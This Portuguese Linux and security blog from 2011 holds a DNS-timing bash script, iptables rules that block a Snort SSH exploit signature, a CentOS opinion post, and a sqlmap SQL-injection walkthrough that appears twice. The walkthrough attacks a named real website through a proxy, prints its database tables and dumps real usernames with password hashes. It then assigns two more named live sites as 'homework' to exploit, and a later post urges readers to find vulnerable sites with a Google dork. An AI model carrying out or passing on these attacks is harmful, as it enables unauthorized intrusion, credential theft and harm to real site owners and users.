Digamos que você tenha um blog e precisa postar um pedaço de código em HTML, o grande problema é que determinados caracteres não serão interpretados corretamente, este script em php ira converter os caracteres >,<," e & para o seu correspondente em HTML. Acesse o site:
http://www.intelcomms.net/intelcomms.net/onlinetools/sanitiseHTML.php
Agora você vai poder postar seus códigos sem problema.
Use com moderação... :-)
Visite também:
BR-Linux ·
VivaOLinux ·
LinuxSecurity ·
Dicas-L ·
NoticiasLinux ·
SoftwareLivre.org ·
[mais]
terça-feira, 31 de maio de 2011
quarta-feira, 11 de maio de 2011
Programação em Shell
Excelente introdução em programação em shell:
http://www.dsc.ufcg.edu.br/~jacques/cursos/progsh/progshell.htm
by Osvaldo
http://www.dsc.ufcg.edu.br/~jacques/cursos/progsh/progshell.htm
by Osvaldo
Tempo médio de resposta do DNS
Recentemente surgiu a necessidade de verificar durante um dia todo o tempo de resposta de um servidor DNS, para isso seguir alguns passos que estão descritos abaixo:
1) Script de requisição
Esse script fica em loop realizando uma requisição para o servidor DNS e grava também a hora da requisição
#!/bin/bash
for (( c=1; ; c++ ))
do
date >> saida_dns_query.log
dig @IP_SERVIDOR_DNS www.google.com | grep ";; Query time:" >> saida_dns_query.log
done
2) Filtrando o que interessa
O script acima gerou um arquivo chamado saida_dns_query.log, precisamos filtrar esse arquivo e pegar o valor de resposta, para isso execute o comando abaixo:
cat saida_dns_query.log | grep ";; Query time:" | cut -d" " -f4 > saida2.txt
Com isso o arquivo saida2.txt será criado com os valores de resposta.
3) Vamos tirar a média
Com o comando abaixo iremos contar o número de linhas para depois dividir pela soma dos valores, grave o valor da saída do comando:
cat saida2.txt | wc -l
Agora vamos somar os valores do arquivo saida_dns_query.log:
cat saida_dns_query.log | grep ";; Query time:" | cut -d" " -f4 | awk '{sum[$2]+= $1;}END{for (date in sum){print sum[date], date;}}'
Agora só é dividir este valor pelo primeiro, teremos a média de resposta do servidor DNS.
1) Script de requisição
Esse script fica em loop realizando uma requisição para o servidor DNS e grava também a hora da requisição
#!/bin/bash
for (( c=1; ; c++ ))
do
date >> saida_dns_query.log
dig @IP_SERVIDOR_DNS www.google.com | grep ";; Query time:" >> saida_dns_query.log
done
2) Filtrando o que interessa
O script acima gerou um arquivo chamado saida_dns_query.log, precisamos filtrar esse arquivo e pegar o valor de resposta, para isso execute o comando abaixo:
cat saida_dns_query.log | grep ";; Query time:" | cut -d" " -f4 > saida2.txt
Com isso o arquivo saida2.txt será criado com os valores de resposta.
3) Vamos tirar a média
Com o comando abaixo iremos contar o número de linhas para depois dividir pela soma dos valores, grave o valor da saída do comando:
cat saida2.txt | wc -l
Agora vamos somar os valores do arquivo saida_dns_query.log:
cat saida_dns_query.log | grep ";; Query time:" | cut -d" " -f4 | awk '{sum[$2]+= $1;}END{for (date in sum){print sum[date], date;}}'
Agora só é dividir este valor pelo primeiro, teremos a média de resposta do servidor DNS.
quarta-feira, 13 de abril de 2011
Iptables - barrando strings (texto plano ou hexa)
Com o iptables você pode usar uma string como ponto de checagem para permitir ou descartar um pacote, porém este método é pouco conhecido. Neste post vou mostrar usando um exemplo simples de como utilizar este módulo.
Abaixo segue uma regra do snort que tem uma assinatura de um exploit para o serviço SSHD:
"alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"EXPLOIT ssh CRC32 overflow"; flow:to_server,established; content:"|00 01|W|00 00 00 18|"; depth:7; content:"|FF FF FF FF 00 00|"; depth:14; offset:8; metadata:policy balanced-ips drop, policy security-ips drop; reference:bugtraq,2347; reference:cve,2001-0144; reference:cve,2001-0572; reference:nessus,10607; classtype:shellcode-detect; sid:1327; rev:10;)"
Nesta regra o que nos interessa é o "content" (que pode ser em texto plano ou em hexa), que permite com que uma regra seja criada e busque pelo valor do "content" no pacote, assim que esse valor for encontrado temos um hit. O Snort usa a função padrão Boyer-Moore para checar se o valor do pacote corresponde ao do "content", no iptables usaremos a opção "--algo bm" para chamar o padrão Boyer-Moore.
Nesta regra temos 2 contents, são eles:
content:"|00 01|W|00 00 00 18|"
content:"|FF FF FF FF 00 00|"
Como ficaria essa regra no iptables?
iptables -A INPUT -p tcp --dport 22 -m string --hex-string "|00 01|W|00 00 00 18|" --algo bm -m string --hex-string "|FF FF FF FF 00 00|" --algo bm -j DROP
Imagine que a regra do Snort não esteja em hexa e sim texto plano, veja o exemplo abaixo:
content:"/bin/sh"
Essa regra seria um pouco diferente:
iptables -A INPUT -p udp --dport 22 -m string --string "/bin/sh" --algo bm -j DROP
obs: uma boa opção seria usando o fwsnort.
Espero que tenham gostado.
by Osvaldo H Peixoto
terça-feira, 12 de abril de 2011
Isso é coisa para skiddie e não hacker
Recentemente estive conversando com alguns amigos sobre SQL injection, e no decorrer da conversa enfatizei que infelizmente apesar da divulgação da técnica e dos riscos e conseguencias que ela traz para as empresas há um descaso por muitas organizações sobre o assunto, tanto é que escrevi um post chamado "Sites Vulneráveis - agora quero ver" em forma de protesto, leia o post e veja como é fácil descobrir sites vulneráveis a sqli e explorá-los.
Neste post quero mostrar que mesmo sem um conhecimento intermediário sobre sqli você pode com a utilização de ferramentas, como a sqlmap, extrair informações de um banco de dados. Vou dividir este post em etapas e esclarecer cada uma delas. Para isso estarei usando o sqlmap, ferramenta open source escrita em python para detecção e exploração de páginas vulneráveis a sql injection.
De acordo com o site dos desenvolvedores o sqlmap suporta os seguintes banco de dados: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB database management systems, abrangendo a maioria dos bancos utilizados hoje (MySQL, PostgreSQL, Microsoft SQL Server). Vamos ao que interessa.
1) Detecção de SQLi
O sqlmap detecta se uma url é vulnerável a sql injection, mas neste caso vamos realizar esta tarefa de uma forma mais rápida, para isso faça uma pesquiça no google utilizando a string:
inurl:.php?id=
Usarei como exemplo a url: http://www.comingsoon.net/news/movienews.php?id=67468.
Coloque um ' no final da url, ficando assim:
http://www.comingsoon.net/news/movienews.php?id=67468'
Se aparecer uma mensagem de erro, como "DB Error: syntax error" ou algo do tipo, isso significa que esta página é vulnerável a sql injection. Para saber mais sobre como detectar páginas vulneráveis a sqli leia o psot "SQL Injection na prática".
2) Buscando um Proxy
Para que o seu IP não apareça no log do servidor use um proxy com a opção --proxy, check um nos sites abaixo por um proxy ativo:
http://www.samair.ru/proxy/type-01.htm
http://nntime.com/proxy-country/Brazil-01.htm
3) Mude o Agente
Vamos fazer com que o servidor Web pense que nossas requisições estão sendo feitas do Mozilla, para isso usaremos a opção:
--user-agent=Mozilla
4) Extraindo informações
Se você não sabe as opções, veja com o comando: sqlmap -h
Este comando é básico, checa se a URL é vulnerável e tenta extrair algumas informações:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -u http://www.comingsoon.net/news/movienews.php?id=67468
[15:39:04] [INFO] testing MySQL
[15:39:09] [INFO] confirming MySQL
[15:39:14] [INFO] retrieved: 1
[15:39:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
Agora sabemos que é um Apache e um MySQL.
Vamos ver quantos bancos temos nesse MySQL com a opção --dbs:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 --dbs -u http://www.comingsoon.net/news/movienews.php?id=67468
[16:01:00] [INFO] fetching database names
[16:01:00] [INFO] fetching number of databases
[16:01:00] [INFO] retrieved: 2
[16:01:28] [INFO] retrieved: information_schema
[16:11:22] [INFO] retrieved: comingso_nextra
available databases [2]:
[*] comingso_nextra
[*] information_schema
Temos dois bancos e o que esta sendo usado é o "comingso_nextra" o "information_schema" tem outra finalidade. Para termos certeza que a base que esta sendo usada é mesmo a "comingso_nextra" execute o comando abaixo com a opção --current-db:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 --current-db -u http://www.comingsoon.net/news/movienews.php?id=67468
[16:21:49] [INFO] fetching current database
[16:21:49] [INFO] retrieved: comin ^C
[16:22:29] [ERROR] user aborted
Vamos ver as tabelas que pertencem a base "comingso_nextra":
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra --tables -u http://www.comingsoon.net/news/movienews.php?id=67468
Database: comingso_nextra
[29 tables]
+------------------------------+
| article_comments |
| bomments_filter_string |
| category_online_count |
| comments_disabled |
| comments_filter |
| hit_ip_table |
| hit_table |
| ip_filter |
| NEX_@ATEGORIES |
| NEX_ARTICLE_CATEGORY_MAP |
| NEX_ARTICLE_FIELD_CONTENT |
| NEX_ARTICLE_IMAGE_MAP |
| NEX_ARTICLES |
| NEX_BG |
| NEX_BOXOFFICERANK |
| NEX_BOXOFFICEWEEK |
| NEX_CATEGORY_FIELD_ORDER |
| NEX_FEATUREBOX |
| NEX_FIELDS |
| NEX_GENRE |
| NEX_IMAGES |
| NEX_TALENT |
| NEX_USER_CATEGORY_MAP |
| NEX_USERS |
| release_date |
| sessions |
| t |
| talent_article_process_queue |
| test_table |
+------------------------------+
Tem uma tabela que chamou minha atenção, espero que a sua também, é a tabela NEX_USERS. Vamos ver as colunas que estão nesta tabela:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra -T NEX_USERS --columns -u http://www.comingsoon.net/news/movienews.php?id=67468
Database: comingso_nextra
Table: NEX_USERS
[6 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| access | varchar(20) |
| email | varchar(255) |
| name | varchar(255) |
| password | varchar(50) |
| title | varchar(255) |
| user_id | int(11) |
+----------+--------------+
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra -T NEX_USERS -C 'name,password' --dump -u http://www.comingsoon.net/news/movienews.php?id=67468
Database: comingso_nextra
Table: NEX_USERS
[15 entries]
+---------------+------------------------------------+
| name | password |
+---------------+------------------------------------+
| Aric | $1$oXa15J8g$2idU4zZjHnXPyYDu94w2C0 |
| Chris | $1$IFSow8ky$/GOkLPrS8hFjeee0Oa7pw. |
| Chris Wells | $1$cvRZK03z$L3iLr/6ZPrAG5j7jboPS91 |
| David Denton | $1$khsRMtWe$HN.M2y7Be9ocGjjY1FXD2/ |
| Ed | $1$jWolY0h2$s2ub83e15KFnGlUOAN4Rf. |
| Gino | $1$m60X2vhy$LNAOKZSQwNmij4sFj5W.a0 |
| John | $1$2Jhgdzht$qf.IfLRxOWnMZ6w7dwu4X. |
| Josh | $1$Xn9Vcpae$pVzqnTOz.8EgM8TDABCse1 |
| Mirko | $1$Eqtx7VUx$CItmrnT1jSqpEQJErqiex. |
| Nexcess | $1$hIl8D.HV$Jmnw7mWw/4kBLAT0pCdTR1 |
| Paul Oehler | $1$VEaJRoYB$uHkruhhqrjYSouh1EL8er0 |
| Ryan Rotten | $1$1RkPWqa/$6Rw4oLqCFrzwS@6PFIZAN0 |
| Scott | $1$db37gF77$1jrwr5GCpNpPfLNRhhdC30 |
| Silas Lesnick | $1$qEycO1If$bmq1HZj7/LmVksBejtpLK1 |
| Socheat Sou | $1$40D5acFu$mxc/uBenEn7WI9h5zwJLA1 |
+---------------+------------------------------------+
Temos os usuário com as senhas em MD5 Unix.
Sério, qualquer um pode fazer isso.
Dever de casa
Dois sites para serem explorados:
http://www.caocidadao.com.br/artigos_caes.php?id=127
http://www.funcitec.rct-sc.br/noticias.php?id=742
by Osvaldo H Peixoto
Neste post quero mostrar que mesmo sem um conhecimento intermediário sobre sqli você pode com a utilização de ferramentas, como a sqlmap, extrair informações de um banco de dados. Vou dividir este post em etapas e esclarecer cada uma delas. Para isso estarei usando o sqlmap, ferramenta open source escrita em python para detecção e exploração de páginas vulneráveis a sql injection.
De acordo com o site dos desenvolvedores o sqlmap suporta os seguintes banco de dados: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB database management systems, abrangendo a maioria dos bancos utilizados hoje (MySQL, PostgreSQL, Microsoft SQL Server). Vamos ao que interessa.
1) Detecção de SQLi
O sqlmap detecta se uma url é vulnerável a sql injection, mas neste caso vamos realizar esta tarefa de uma forma mais rápida, para isso faça uma pesquiça no google utilizando a string:
inurl:.php?id=
Usarei como exemplo a url: http://www.comingsoon.net/news/movienews.php?id=67468.
Coloque um ' no final da url, ficando assim:
http://www.comingsoon.net/news/movienews.php?id=67468'
Se aparecer uma mensagem de erro, como "DB Error: syntax error" ou algo do tipo, isso significa que esta página é vulnerável a sql injection. Para saber mais sobre como detectar páginas vulneráveis a sqli leia o psot "SQL Injection na prática".
2) Buscando um Proxy
Para que o seu IP não apareça no log do servidor use um proxy com a opção --proxy, check um nos sites abaixo por um proxy ativo:
http://www.samair.ru/proxy/type-01.htm
http://nntime.com/proxy-country/Brazil-01.htm
3) Mude o Agente
Vamos fazer com que o servidor Web pense que nossas requisições estão sendo feitas do Mozilla, para isso usaremos a opção:
--user-agent=Mozilla
4) Extraindo informações
Se você não sabe as opções, veja com o comando: sqlmap -h
Este comando é básico, checa se a URL é vulnerável e tenta extrair algumas informações:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -u http://www.comingsoon.net/news/movienews.php?id=67468
[15:39:04] [INFO] testing MySQL
[15:39:09] [INFO] confirming MySQL
[15:39:14] [INFO] retrieved: 1
[15:39:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
Agora sabemos que é um Apache e um MySQL.
Vamos ver quantos bancos temos nesse MySQL com a opção --dbs:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 --dbs -u http://www.comingsoon.net/news/movienews.php?id=67468
[16:01:00] [INFO] fetching database names
[16:01:00] [INFO] fetching number of databases
[16:01:00] [INFO] retrieved: 2
[16:01:28] [INFO] retrieved: information_schema
[16:11:22] [INFO] retrieved: comingso_nextra
available databases [2]:
[*] comingso_nextra
[*] information_schema
Temos dois bancos e o que esta sendo usado é o "comingso_nextra" o "information_schema" tem outra finalidade. Para termos certeza que a base que esta sendo usada é mesmo a "comingso_nextra" execute o comando abaixo com a opção --current-db:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 --current-db -u http://www.comingsoon.net/news/movienews.php?id=67468
[16:21:49] [INFO] fetching current database
[16:21:49] [INFO] retrieved: comin ^C
[16:22:29] [ERROR] user aborted
Vamos ver as tabelas que pertencem a base "comingso_nextra":
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra --tables -u http://www.comingsoon.net/news/movienews.php?id=67468
Database: comingso_nextra
[29 tables]
+------------------------------+
| article_comments |
| bomments_filter_string |
| category_online_count |
| comments_disabled |
| comments_filter |
| hit_ip_table |
| hit_table |
| ip_filter |
| NEX_@ATEGORIES |
| NEX_ARTICLE_CATEGORY_MAP |
| NEX_ARTICLE_FIELD_CONTENT |
| NEX_ARTICLE_IMAGE_MAP |
| NEX_ARTICLES |
| NEX_BG |
| NEX_BOXOFFICERANK |
| NEX_BOXOFFICEWEEK |
| NEX_CATEGORY_FIELD_ORDER |
| NEX_FEATUREBOX |
| NEX_FIELDS |
| NEX_GENRE |
| NEX_IMAGES |
| NEX_TALENT |
| NEX_USER_CATEGORY_MAP |
| NEX_USERS |
| release_date |
| sessions |
| t |
| talent_article_process_queue |
| test_table |
+------------------------------+
Tem uma tabela que chamou minha atenção, espero que a sua também, é a tabela NEX_USERS. Vamos ver as colunas que estão nesta tabela:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra -T NEX_USERS --columns -u http://www.comingsoon.net/news/movienews.php?id=67468
Database: comingso_nextra
Table: NEX_USERS
[6 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| access | varchar(20) |
| email | varchar(255) |
| name | varchar(255) |
| password | varchar(50) |
| title | varchar(255) |
| user_id | int(11) |
+----------+--------------+
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra -T NEX_USERS -C 'name,password' --dump -u http://www.comingsoon.net/news/movienews.php?id=67468
Database: comingso_nextra
Table: NEX_USERS
[15 entries]
+---------------+------------------------------------+
| name | password |
+---------------+------------------------------------+
| Aric | $1$oXa15J8g$2idU4zZjHnXPyYDu94w2C0 |
| Chris | $1$IFSow8ky$/GOkLPrS8hFjeee0Oa7pw. |
| Chris Wells | $1$cvRZK03z$L3iLr/6ZPrAG5j7jboPS91 |
| David Denton | $1$khsRMtWe$HN.M2y7Be9ocGjjY1FXD2/ |
| Ed | $1$jWolY0h2$s2ub83e15KFnGlUOAN4Rf. |
| Gino | $1$m60X2vhy$LNAOKZSQwNmij4sFj5W.a0 |
| John | $1$2Jhgdzht$qf.IfLRxOWnMZ6w7dwu4X. |
| Josh | $1$Xn9Vcpae$pVzqnTOz.8EgM8TDABCse1 |
| Mirko | $1$Eqtx7VUx$CItmrnT1jSqpEQJErqiex. |
| Nexcess | $1$hIl8D.HV$Jmnw7mWw/4kBLAT0pCdTR1 |
| Paul Oehler | $1$VEaJRoYB$uHkruhhqrjYSouh1EL8er0 |
| Ryan Rotten | $1$1RkPWqa/$6Rw4oLqCFrzwS@6PFIZAN0 |
| Scott | $1$db37gF77$1jrwr5GCpNpPfLNRhhdC30 |
| Silas Lesnick | $1$qEycO1If$bmq1HZj7/LmVksBejtpLK1 |
| Socheat Sou | $1$40D5acFu$mxc/uBenEn7WI9h5zwJLA1 |
+---------------+------------------------------------+
Temos os usuário com as senhas em MD5 Unix.
Sério, qualquer um pode fazer isso.
Dever de casa
Dois sites para serem explorados:
http://www.caocidadao.com.br/artigos_caes.php?id=127
http://www.funcitec.rct-sc.br/noticias.php?id=742
by Osvaldo H Peixoto
segunda-feira, 11 de abril de 2011
CentOS - O que você vai fazer?
Vamos esclarecer uma coisa, o CentOS é uma excelente distribuição de nível enterprise, ponto. Podemos dizer também que é um clone do RHEL, já que a distro é compilada a partir do código fonte da RHEL. Acho que até agora não contei nenhuma novidade, pelo menos eu espero.
Tenho acompanhado o crescimento do CentOS, e visto como vários projetos tem adotado essa distribuição para rodarem suas soluções, é o caso do Trixbox e outros.
Estive visitando alguns blogs e notei uma quantidade muito grande de posts falando sobre os atuais problemas que o CentOS esta passando com sua comunidade e adeptos. Segue abaixo dois posts que achei super interessante:
Soluções parecidas com o CentOS:
Tire suas conclusões, mas primeiro é preciso analisar.
Osvaldo H Peixoto
domingo, 10 de abril de 2011
Sites Vulneráveis - agora quero ver
Infelizmente tem gente que só aprende apanhando, se não é o seu caso então você não bate na regra. Bom, vamos deixar de papo furado e ser bem direto. A pior coisa para um Administrador preocupado com Segurança em TI é encontrar uma falha de segurança em um servidor alheio, alertar os responsáveis e no final descobrir que eles não estão nem ai pra isso, ou seja, security doesn´t metter.
Faça um teste, leia o meu post “SQL na prática” depois use o Google dork
inurl:.php?id=
para encontrar alguns sites em PHP e faça como você aprendeu no post, não se esqueça de usar Proxy. Digamos que agora você tem uma pequena lista de sites vulneráveis, use sua “cabeça” ache o email dos responsáveis e notifique os mesmos, agora é só esperar pelo retorno..... AHHHH.... que sono... acho que vai demorar essa espera, pelo menos eu não estou tendo este retorno. O pior de tudo é que depois de meses o site continua com a mesma vulnerabilidade, os responsáveis nem mesmo corrigiram o bug.
Desta vez vou jogar um pouco mais pesado, só um pouco. Quer saber como? Acesse a minha nova página que chamei de SDM (security doesn´t metter) e veja as novidades... até a próxima.
Osvaldo H Peixoto
Assinar:
Postagens (Atom)